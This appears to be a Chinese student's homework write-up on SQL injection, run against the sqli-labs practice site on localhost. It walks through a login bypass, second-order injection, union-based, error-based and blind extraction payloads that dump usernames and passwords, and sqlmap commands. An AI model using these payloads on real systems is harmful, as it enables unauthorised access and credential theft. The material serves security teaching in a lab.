SQL注入作业

目录

一、万能密码和二阶注入测试

1.万能密码

2.二阶注入测试

二、联合查询注入测试

1.判断注入点

2.判断当前查询语句的列数

3.查询数据库基本信息

4.查询数据库中的数据

三、报错注入

1. 报错注入函数EXTRATVALUE 

2.UPDATEXML

 四、盲注测试

1.布尔盲注

判断数据库名字长度

猜解数据库名

获取表的个数

获取第一个表名的长度

获取第一个表名

获取列的个数

获取列的长度

获取列名的第一个字母

2.延时盲注

五、sqlmap


一、万能密码和二阶注入测试

1.万能密码

        万能密码是指输入一个特殊用户名,密码不限,来破解账号,入侵sql。比如8’ or 1=1 # ,这是一个用户名,这个输入会发生什么?

         为什么可以直接登录成功呢?我们来看看这个登录网页的数据库代码实现:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

        而我们的输入其实是

$name  = 8' or 3=3#

        替换后

…… username='8' or 3=3 #' and password='$passwd' LIMIT 0,1";

        此时,username为8 ,根据or的运算,3=3是永真式,#将后半句注释了,故这句代码执行结果永远为真,可以登录成功。

        当然,现在的数据库对这样的用户名肯定做了筛选,这属于不合法的用户名。

2.二阶注入测试

        所谓的二阶注入,利用的是,数据库系统对已有信息的“信任”,将注入的用户名输入到系统后,利用这种信任,登录到数据库其他用户,比如admin'#成功注册后,但是登录的却是admin

        注册admin'#账号

        如图,现在数据库里面有:

        admin'# 密码是123456

        admin 密码是000000

        我们现在登录我们自己注册的账号:

         我们登录后修改密码,修改密码为999999

        此时我们来登录试试:

         为什么密码错误呢?我们来观察一下数据库:

        可以观察到我们修改的是admin的密码,而不是admin'#的数据。

        实际上这个过程是,admin'# 作为用户名登录后,数据库对该用户名,密码信任,实际上这个用户名被代码替换后,登录的不是admin'# ,而是admin。修改的是admin的密码,这就是二阶注入的原理。

二、联合查询注入测试

1.判断注入点

判断是不是整型:

比如 1 and 1=1 

 

 没有显示结果,说明这不是整型。

而输入1' or '1'='1

说明这是字符型注入。

2.判断当前查询语句的列数

猜测是3列:

猜测是两列:

 

3列没有结果,2列有结果,说明当前查询语句有两列。

3.查询数据库基本信息

admin' union select user() ,database()#

需要对union强调的是,union前后的结果列数必须一样,比如这里admin'结果是两列,union的语句2必须也是两列。 

4.查询数据库中的数据

获取表名

admin' union select 1,table_name from information_schema.tables where table_schema = database() # 

获取数段名

admin' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database() #

获取数据

admin' union select username,password from users #

三、报错注入

1. 报错注入函数EXTRATVALUE 

admin' union  select extractvalue(1,concat(0x7e, (select database()),0x7e)) #

2.UPDATEXML

 admin' union  select updatexml(1,concat(0x7e,(select version()),0x7e),1)#

 四、盲注测试

1.布尔盲注

判断数据库名字长度

无回显

有回显

说明可能为8,进行验证:

猜解数据库名

 无回显,再尝试是否大于110

有回显,再尝试是否大于115

无回显,再尝试是否大于113

有回显,再尝试是否大于114

有回显,说明可能是115

查询ascii表,说明该数据库名首字母为's'

获取表的个数

无回显,说明个数小于4

获取第一个表名的长度

无回显

有回显,说明值为6

获取第一个表名

 ?id=1' and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))) > 110 #

无回显,猜测是否大于100

有回显,猜测是否大于105

无回显,猜测是否大于103

无回显,猜测是否大于102

无回显,猜测是否等于101

查ascii表,表名第一个字母为'e'

获取列的个数

?id=1' and (select count(column_name) from information_schema.columns where table_name='users' ) > 11 #

有31个列

获取列的长度

 ?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1)) > 5 #

第一列的长度为7

获取列名的第一个字母

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))>110 # 

得到ascii为117,’u'

2.延时盲注

?id=1' and if((length(database()))=8,sleep(4),null)) #

说明数据库名长度为8

?id=1' and if(substr(database(),1,1)='s',sleep(4),null) #

说明第一个字母是's'

五、sqlmap

 python sqlmap.py -u 127.0.0.1/sqli-labs/Less-8/?id=1 

 --current-db

-D --tables

 

-T --columns

 

-C --dump

 

相关推荐

  1. <span style='color:red;'>sql</span><span style='color:red;'>注入</span>

    sql注入

    2024-04-23 20:40:02      30 阅读
  2. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-04-23 20:40:02      33 阅读
  3. SQL注入

    2024-04-23 20:40:02       17 阅读
  4. <span style='color:red;'>SQL</span><span style='color:red;'>注入</span>

    SQL注入

    2024-04-23 20:40:02      13 阅读
  5. 代码审计与web安全第四章作业SQL注入

    2024-04-23 20:40:02       14 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-23 20:40:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-23 20:40:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-23 20:40:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-23 20:40:02       18 阅读

热门阅读

  1. 前端宝藏图:寻找技术之旅的星辰大海

    2024-04-23 20:40:02       13 阅读
  2. Python爬取网易云平台

    2024-04-23 20:40:02       13 阅读
  3. 【Linux开发 第十一篇】rpm和yum

    2024-04-23 20:40:02       10 阅读
  4. 傅立叶变换与拉普拉斯变换的区别与联系?

    2024-04-23 20:40:02       12 阅读
  5. Rust :快速了解 VecDeque 双向队列

    2024-04-23 20:40:02       12 阅读
  6. Codeforces Round 816 (Div. 2)(D拆位图论构造 E斜率优化)

    2024-04-23 20:40:02       10 阅读
  7. freebase一站式搭建流程

    2024-04-23 20:40:02       14 阅读